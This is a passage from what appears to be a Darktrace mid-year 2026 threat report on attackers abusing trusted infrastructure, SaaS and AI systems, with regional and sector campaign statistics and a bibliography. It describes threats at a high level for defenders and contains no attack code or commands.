More recently, attackers abused legitimate blockchain infrastructure to distribute infostealers, including AMOS and Phexia. Popular tools like VPNs, often used by users with limited security resources, combined with legitimate command-and-control (C2) infrastructure enables attackers to reach a far wider victim base while frustrating defenders who cannot simply block the associated endpoints.

For defenders, the challenge is no longer identifying malicious infrastructure, but recognizing when trusted infrastructure begins behaving maliciously.

Cloud and SaaS: from target to terrain

Through May and June, activity involving device registration, cloud data theft, SaaS abuse, RDP expansion, and remote management tooling suggested that attackers increasingly view cloud and SaaS not simply as targets, but as their preferred operating environment.

In one Darktrace case a single compromised SaaS account triggered activity across email, SaaS, and network layers, including inbox rule changes, phishing propagation, and connections to suspicious infrastructure. None of these indicators were decisive in isolation, but together they revealed a clear intrusion. Increasingly, attackers do not need to bypass trust controls in these environments; they inherit them through compromised identities, delegated access, and legitimate administration tools. This is the natural progression of 2025's SaaS-targeted ransomware trend: the platforms on which businesses operate are increasingly the same platforms on which adversaries operate.

AI: accelerant, attack surface, and trusted but risky actor

If trust is the attack surface, AI is where that surface is expanding fastest. Across the Darktrace customer base, AI service connections per deployment rose 13% in the first half of 2026, surpassing 16 million connections, while the typical organization now interacts with seven different AI providers. AI is no longer at the edge of the enterprise; it is embedded in day-to-day business operations. That shift creates three distinct problems, all of which were observed by Darktrace in the first half of 2026.

1. AI as an attack multiplier

Darktrace identified AI-generated malware exploiting React2Shell, in which an attacker used an LLM to produce working exploit code and deploy it at scale. Similar activity is increasingly appearing across the wider threat landscape, suggesting that the barrier to effective offensive operations is collapsing. As demonstrated by the recent JadePuffer case, in which an agentic threat actor exploited a vulnerability in an internet-facing server before launching a fully automated ransomware attack, AI is accelerating the path from vulnerability disclosure to operational exploitation [1].

2. AI as an attack surface

The AI layer itself is now worth probing. At an automation technology manufacturer, a compromised LLM proxy was used as a steppingstone toward additional AI services; when that failed, the attacker pivoted to cryptomining. Darktrace’s Cyber AI Analyst pieced the intrusion together and Darktrace’s Managed Threat Detection service alerted the customer, containing it before it could progress further. The practitioner lesson is clear: treat AI gateways, proxies, and model endpoints as production cloud workloads because attackers already do.

3. AI as a trusted but potentially risky actor

Darktrace / SECURE AI observations suggest the most common real-world risk is quieter still: employees entering personal identifiable information (PII), tax records, identity documents, company financial data, HR records, and personal medical data into LLM prompts, alongside widespread shadow AI use and increased AI usage from mobile devices. Across nearly 280,000 prompts submitted by almost 28,000 users over 28 days, Darktrace identified that approximately 1% of these prompts (or 2,945 instances) contained sensitive data*.

*Prompt data was analyzed in aggregate and anonymized form to protect user privacy.

For defenders, the challenge is context: knowing when legitimate business use crosses into material risk without breaking privacy or user trust. As organizations increasingly trust AI systems to access, process, and share sensitive information at machine speed, AI must be secured and monitored alongside identities, applications, and cloud infrastructure.

Speed and geopolitics: faster operations, longer-term objectives

Several investigations in the first half of the year showed how quickly attackers operationalize newly disclosed vulnerabilities, validating exploitation through Out-of-Band Application Security Testing (OAST) infrastructure and trusted cloud services before patching cycles can be completed. React2Shell was compromised in two hours, while BeyondTrust exploitation followed in less than a day. Against this backdrop, state-aligned actors continue to prioritize long-term access, intelligence collection, and pre-positioning through legitimate services, cloud infrastructure, and trusted relationships. Operations linked to China, Russia, Iran, and the Democratic People’s Republic of Korea (DPRK) shared a common characteristic: a focus on persistence and strategic positioning rather than immediate disruption.

China: Darktrace observed Chinese-nexus actors prioritizing long-term access through trusted services, dynamic-link library (DLL) sideloading, and modular intrusion chains consistent with activity documented in Crimson Echo reporting and associated with Twill Typhoon tradecraft.

Iran: Darktrace's ZionSiphon investigation highlighted Iranian-linked interest in operational technology (OT) environments, blending espionage objectives with infrastructure disruption capabilities.

Russia: Darktrace investigations, alongside wider industry reporting, highlighted Russian reliance on trusted relationships and supply-chain targeting for long-term intelligence on Ukraine related support [2].

DPRK: Darktrace observed DPRK-linked activity combining rapid vulnerability weaponization with persistent access techniques, including Axios supply-chain compromise, React2Shell exploitation and stealthy macOS intrusions

While objectives differed across actors, the tradecraft was remarkably consistent: trusted services, legitimate infrastructure, and persistent access remained more valuable than immediate disruption.

The defender shift

Across identity compromise, supply-chain attacks, SaaS abuse, AI infrastructure targeting, and state-aligned operations, attackers increasingly succeed by operating through trusted systems rather than breaking through defensive controls. Trusted users, trusted software, trusted infrastructure, and increasingly trusted AI systems all became viable attack paths.

For defenders, the challenge is no longer simply determining whether an action is allowed; it is determining whether that action makes sense in its wider context. Authentication, reputation, and provenance remain important, but they are no longer sufficient on their own. As attackers increasingly operate within trusted systems, the strongest signal is often a behavioral deviation: identifying when trusted activity no longer aligns with expected behavior.

Credit to Nathaniel Jones (SVP, Global Threat Intelligence), Emma Foulger (Global Threat Research Operations Lead), Justin Torres (Senior Cyber Analyst), Daniel Levy (Threat Hunting Data Scientist)


Edited by Ryan Traill (Content Manager)

Appendix 1: Threat Research Methodology

Darktrace’s Threat Research team conducts extensive research across customer deployments to identify active threats, pinpoint key Indicators of Compromise (IoCs), and provide relevant threat intelligence. This research leverages Darktrace’s anomaly-based detection and involves thorough analysis and contextualization by the Threat Research team. Detected threats are promptly reported to the relevant customer security teams. When a customer has Darktrace’s Autonomous Response technology enabled, these threats are swiftly mitigated to prevent escalation.

Between January 1 and June 30, 2026, Darktrace investigated a wide range of cyber threats across its customer base. Many were identified as campaign-like activities targeting multiple customers, where clusters of similar tactics, techniques, and procedures (TTPs) and IoCs were seen affecting a significant number of customers within a short timeframe.

Statistics related to email are derived from aggregated Darktrace / EMAIL data across all cloud-hosted customer deployments between January 1 and June 30, 2026. Standard data-quality filtering was applied to exclude anomalous observations prior to aggregation. Regional statistics are based on relevant subsets of this dataset.

Appendix 2: Campaigns - Regional and Sector Trends

While the above broad themes defined the threat landscape over the last six months, campaign clustering across the Darktrace customer base revealed how they manifested differently across sectors, regions, and industries.

Darktrace’s Threat Research team investigates a range of threats affecting its customer base. Through this research, campaign-like clusters of activity have been identified, in which common tactics, techniques, and procedures (TTPs), as well as infrastructure, are observed impacting a significant number of customers within a short timeframe.

Sectors and industries are classified using the Standard Industrial Classification (SIC) system to ensure consistent categorization. While the sector and regional insights in this report reflect broader global trends, they are also influenced by the distribution of Darktrace's customer base. For example, Finance, Manufacturing, and Education are strongly represented among Darktrace customers, which may result in a higher number of observed cases in these sectors. This reflects customer distribution rather than necessarily indicating elevated sector-specific risk. Similarly, regional trends may be influenced by the geographic distribution of Darktrace customers.

Analysis of campaign clusters identified by the Darktrace Threat Research team during the first half of 2026 revealed distinct regional trends.

  • Europe, Middle East & Africa (EMEA) dominated with 60% of all campaign cluster cases targeting this region.
  • The Americas (AMS) was the next most affected region, with 30% of campaign cluster cases.
  • The Asia-Pacific and Japan (APJ) region was less affected by campaign clusters, potentially indicating that threat actors placed a lower priority on the region and instead focused their efforts elsewhere.

Sector targeting also varied considerably by region:

  • In EMEA, the Information and Communication was the most affected by a significant margin, representing 25% of all cases.
  • In contrast, AMS targeting was more evenly distributed, with the Education, Public administration and defence, and Financial Insurance activities sectors all forming over 20% of AMS regional cases.
  • Across APJ, campaign activity was spread more equally, with no single sector emerging as a dominant target.

Several countries also stood out within their respective regions:

  • The United States accounted for 60% of all campaign clusters within AMS.
  • Japan represented 40% of campaign customer cases across APJ.
  • In EMEA, the United Kingdom and Zimbabwe each accounted for 23% of identified cases, both being involved in a variety of campaign types.

Inside the SOC & Threat Research 2026 Monthly Progression: From Access to Impact

Month Dominant Themes
January Voice phishing, VPS infrastructure, WebSocket C2, RMM abuse, ransomware, infostealers (StealC), and trojanized installers (7-Zip).
February Voice phishing, VPN intrusion, edge infrastructure compromise (BeyondTrust), and RMM abuse.
March Sustained supply chain compromise (Hola VPN, Axios, Trivy), malicious browser extensions, phishing, and discovery tools.
April Account creation abuse, payload delivery, VPN credential abuse, Fortinet exploitation, and botnet activity.
May PowerShell, EtherHiding, data exfiltration, VPN access, business email compromise (BEC), ClickFix, and infostealers (AMOS).
June RDP abuse, device registration, RMM usage, voice phishing, cloud data theft, botnet activity, blockchain abuse, ClickFix, and infostealers (AMOS).

Appendix 3: Bibliography

External

[1] https://www.darkreading.com/cyberattacks-data-breaches/jadepuffer-first-complete-llm-driven-ransomware-attack

[2] https://www.trendmicro.com/en_us/research/26/c/pawn-storm-targets-govt-infra.html

Darktrace Reading

1.        https://www.darktrace.com/blog/ai-llm-generated-malware-used-to-exploit-react2shell

2.        https://www.darktrace.com/blog/2025-cyber-threat-landscape-darktraces-mid-year-review

3.        https://www.darktrace.com/resources/annual-threat-report-2026

4.        https://www.darktrace.com/blog/when-trust-becomes-the-attack-surface-supply-chain-attacks-in-an-era-of-automation-and-implicit-trust

5.        https://www.darktrace.com/blog/hola-vpn-abuse-from-proxy-traffic-to-malware-and-cryptomining

6.        https://www.darktrace.com/blog/security-after-signatures-operating-in-a-world-of-pre-cve-disclosure-exploitation-collapsed-trust-boundaries-and-autonomous-systems

7.        https://www.darktrace.com/blog/when-ai-infrastructure-becomes-part-of-the-attack-surface

8.        https://www.darktrace.com/blog/cve-2026-1731-how-darktrace-sees-the-beyondtrust-exploitation-wave-unfolding

9.        https://www.darktrace.com/resource/understanding-chinese-nexus-cyber-tradecraft

10.   https://www.darktrace.com/blog/chinese-apt-campaign-targets-entities-with-updated-fdmtp-backdoor

11.  https://www.darktrace.com/blog/inside-zionsiphon-darktraces-analysis-of-ot-malware-targeting-israeli-water-systems

12.  https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

13.  https://www.darktrace.com/blog/from-click-to-command-behavioral-detection-of-applescript-led-macos-intrusions

14.  https://www.darktrace.com/blog/the-state-of-cybersecurity-in-the-finance-sector-six-trends-to-watch

Continue reading
About the author
Nathaniel Jones
SVP, Global Threat Intelligence
Your data. Our AI.
Elevate your network security with Darktrace AI